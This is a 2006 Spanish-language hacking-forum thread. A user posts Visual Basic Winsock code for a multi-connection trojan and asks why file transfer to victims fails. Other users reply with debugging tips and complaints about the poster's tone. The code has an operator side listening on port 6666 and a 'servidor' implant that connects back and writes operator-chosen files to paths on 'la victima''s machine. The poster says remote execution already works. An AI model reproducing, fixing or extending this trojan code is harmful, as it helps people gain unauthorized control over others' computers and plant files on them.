Transferencia multiconecciones con winsock¡¡¡

Iniciado por Badlands, 13 Julio 2006, 23:48 PM

0 Miembros y 2 Visitantes están viendo este tema.

Badlands

Buenas la cuestion es la siguien resulta que estaba haciendo el troyano para una sola conexión y funcionaba perfecto, el tema es que cuando me meti a ver como hacerlo con muchas conexiones se me complico un poco, ya que no puedo transferir archivos, pero si ejecutarlos, no me tira ningun error ni nada simplemente cuando me voy a fijar si transfirio el archivo este no esta. Resumi un poco el code.

ACA VA EL CODE:

CLENTE

Dim filesize As Long, filedata As String, bytes As Long, directorio As String, socket As Variant
Private Sub Command1_Click()
cd.Filter = "Todos los archivos |*.*"  'pongo el filtro de los exes
cd.ShowOpen 'muestro la ventana para abrir el archivo
Open cd.FileName For Binary As #1 'abro el archivo en modo binario
filedata = Input(LOF(1), 1)'lo guardo
Close #1 'lo cierro
nombre = cd.FileTitle'guardo el nobre del archivo
directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", directorio)'la ruta donde se guardara el archivo en el server
directorio = directorio & nombre'concateno
filesize = Len(filedata) 'calcula el tamaño en bytes'calculo el tamaño del archivo
ws2(socket).SendData "archivo" & "|" & filesize & "|" & directorio & "|" & filedata'mando estos datos
End Sub

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub


SERVIDOR

Dim filesize As Long, filedata As String, bytes As Long, directorio As String
Private Sub Form_Load()
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos 'agarro los datos
If Left(datos, 7) = "archivo" Then 'si los primeros 7 caracteres son "archivo" entonces
    dato = Split(datos, "|") 'separo
    filesize = dato(1)
    directorio = dato(2)
    filedata = dato(3)
    Open directorio For Binary As #1 'abro un directorio, con la variable directorio
    Put #1, 1, filedata'y coloco el archivo
    Close #1'lo cierro
End If
End Sub

Badlands

Si alguien me puede contestar POR FAVOOOOOR!!!!!!! :huh: :huh: :huh: :huh: :huh:

Badlands

Hola que pasa que nadie me contesta?????????es  un codigo bastante sencillo

ka0s

Por empezar nadie tiene la obligación de responderte. Acá el que quiere ayuda, comenta, opina. Si nadie te respondió deben ser porque no te entendieron o por ahi porque no tuvieron ganas, o valla uno a saber. PERO NO VENGAS A EXIGIR Y APURAR!

Salu2!

Badlands

si vas a poner cosas que no me interesen no postees Guardatelo. Obvio que no hay ninguna obligacion en contestarme pero este tema se hablo ya. Y no creo que nadie no pueda contestarme.

Hans el Topo

Cita de: Machu7 en 16 Julio 2006, 00:44 AM
si vas a poner cosas que no me interesen no postees Guardatelo. Obvio que no hay ninguna obligacion en contestarme pero este tema se hablo ya. Y no creo que nadie no pueda contestarme.

pues si se hablo ya seguro que tienes miles de ejemplos en el botoncito de buscar... xd
 

Badlands

si estoy preguntando es por que no me sirvio lo que encontre...

Hans el Topo

me da k el cliente es el k se conecta y el servidor el k recibe... mira ave si concuerda como lo tienes xk algo falla...
 

Badlands


Hans el Topo

que se supone que el que escucha es el servidor y el que envia los datos el cliente...

no entiendo que haces aqui...
Put #1, 1, datos2
¿de donde sale datos2?
¿la variable directorio para que es si no la envias?
¿para que preguntas si envias el path?

directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", Path)
directorio = directorio & nombre
ws2(socket).SendData "archivo" & "|" & filesize & "|" & [b]Path[/b] & "|" & filedata


al recibir no estas recibiendo la dirección del archivo sino del directorio...

Open directorio For Binary As #1

amén de que aparecen variables que no estan dimensionadas...
pon un option explicit que seguramente tienes alguna más, que tienes mal escrita...

los comentarios se agradecerían...


nose si te he servido de ayuda pero es que sin tabulaciones me mareo xd... si pegas todo el código sería de agradecer